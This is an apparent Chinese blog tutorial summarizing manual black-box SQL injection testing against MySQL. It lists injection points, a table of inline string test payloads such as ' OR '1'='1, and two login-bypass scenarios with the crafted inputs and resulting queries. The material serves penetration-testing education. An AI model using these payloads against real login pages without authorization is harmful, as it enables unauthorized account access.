SQL注入测试总结

SQL注入测试总结

本文以MySQL数据库为例,其它数据库仅供参考。

1 黑盒测试

1.1 手工测试

Web应用的主要注入点有:

① POST请求体中的参数

② GET请求头URL中的参数

③ Cookie

1.1.1 内联注入

1、字符串内联注入

测试字符串

变种

预期结果

'

N/ A

触发数据库返回错误。

' OR '1' = '1

') OR ('1' = '1

永真,返回所有行。

value' OR '1' = '2

value') OR ('1' = '2

空,不影响返回结果。

' AND '1' = '2

') AND ('1' = '2

永假,返回空。

' OR 'ab' = 'a''b

') OR ('ab' = 'a''b

字符串连接,结果同永真。

字符串内联注入测试字符串

下面以绕过某系统登录页面为例,介绍字符串内联注入。

场景① 假设登录页面后台校验机制为:从数据库查询对应用户名和密码,存在返回值验证通过。这种情况在用户名输入框输入' OR 1 = 1 OR '1' = '1,密码为空,则猜测可构造如下SQL语句绕过后台校验登录系统:

SELECT * FROM usertable WHERE username = '' OR 1 = 1 OR '1' = '1' AND password = ''

也可以用户名为空,在密码输入框输入' OR '1' = '1,则猜测可构造如下SQL语句绕过后台校验登录系统:

SELECT * FROM usertable WHERE username = '' AND password = '' OR '1' = '1'

场景② 假设登录页面后台校验机制为:从数据库查询对应用户名和密码,存在一条返回值验证通过。这种情况在用户名输入框输入username' AND 1 = 1 OR '1' = '1,密码为空,则猜测可构造如下SQL语句绕过后台校验登录系统:

SELECT * FROM usertable WHERE username = 'username' AND 1 = 1 OR '1' = '1' AND password = ''

username如果未知,可以尝试使用admin、Admin、administrator、Administrator等进行猜测。

如果前端限制了某些字符不能输入,可以使用代理工具拦截并修改请求,如使用Burp Suite:

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值